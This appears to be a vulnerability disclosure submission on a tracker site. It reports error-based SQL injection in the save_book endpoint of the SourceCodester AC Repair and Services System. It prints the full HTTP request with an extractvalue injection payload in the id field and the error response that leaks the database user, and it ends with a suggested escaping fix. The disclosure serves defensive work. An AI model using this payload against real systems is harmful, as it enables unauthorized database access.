제출 #180831: SourceCodester AC Repair and Services System sql injection in Master.php

I discovered an SQL error injection vulnerability in Sourcecodester Ac Repair And Services System(https://www.sourcecodester.com/php/16513/ac-repair-and-services-system-using-php-and-mysql-source-code-free-download.html).It is a sql injection in url/classes/Master.php?f=save_book.
POST /php-acrss/classes/Master.php?f=save_book HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------25039842273186474810708140780
Content-Length: 906
Origin: http://localhost
Connection: close
Referer: http://localhost/php-acrss/admin/?page=bookings/manage_booking
Cookie: PHPSESSID=sg18q6cststuaq0t07v6hdppgc
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------25039842273186474810708140780
Content-Disposition: form-data; name="id"

1' or (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
-----------------------------25039842273186474810708140780
Content-Disposition: form-data; name="fullname"

1
-----------------------------25039842273186474810708140780
Content-Disposition: form-data; name="email"

1
-----------------------------25039842273186474810708140780
Content-Disposition: form-data; name="contact"

1
-----------------------------25039842273186474810708140780
Content-Disposition: form-data; name="address"

1
-----------------------------25039842273186474810708140780
Content-Disposition: form-data; name="services[]"

1
-----------------------------25039842273186474810708140780
Content-Disposition: form-data; name="status"

1
-----------------------------25039842273186474810708140780--

And it returns "{"status":"failed","err":"XPATH syntax error: '~admin@localhost~'[UPDATE `book_list` set `fullname`='1' , `email`='1' , `contact`='1' , `address`='1' , `status`='1' where id = '1' or (extractvalue(1,concat(0x7e,(select user()),0x7e)))#' ]"}".We can find in the return that '~ admin@localhost ~This proves that our SQL code was successfully executed.We should filter the ID parameters to prevent them from being maliciously exploited by hackers, such as using mysqli_real_escape_string().

• 원천: ⚠️ https://www.sourcecodester.com/php/16513/ac-repair-and-services-system-using-php-and-mysql-source-code-free-download.html
• 사용자: fushuling (UID 45488)
• 제출: 2023. 07. 11. PM 05:46 (3 연령 ago)
• 모더레이션: 2023. 07. 13. AM 11:48 (2 days later)
• 상태: 중복
• VulDB 항목: 180823 [Nagios XI 까지 5.8.4 cleaner.php 권한 상승]
• 포인트들: 0